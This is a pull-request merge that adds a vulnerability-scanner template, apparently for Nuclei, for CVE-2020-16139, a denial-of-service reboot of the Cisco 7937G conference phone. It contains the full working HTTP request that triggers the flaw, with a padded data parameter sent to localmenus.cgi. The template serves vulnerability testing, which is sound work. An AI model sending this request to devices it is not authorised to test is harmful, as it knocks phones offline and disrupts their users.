Merge pull request #441 from pikpikcu/patch-22

Add CVE-2020-16139 Cisco 7937G Denial-of-Service Reboot Attack 🔥

cves/CVE-2020-16139.yaml

@@ -0,0 +1,28 @@
+id: CVE-2020-16139
+
+info:
+  name: Cisco 7937G Denial-of-Service Reboot Attack
+  author: pikpikcu
+  severity: low
+
+# Refrence:-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/
+
+requests:
+  - raw:
+      - |
+        POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: header
+        words:
+          - "application/xml"
+      - type: word
+        words:
+          - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'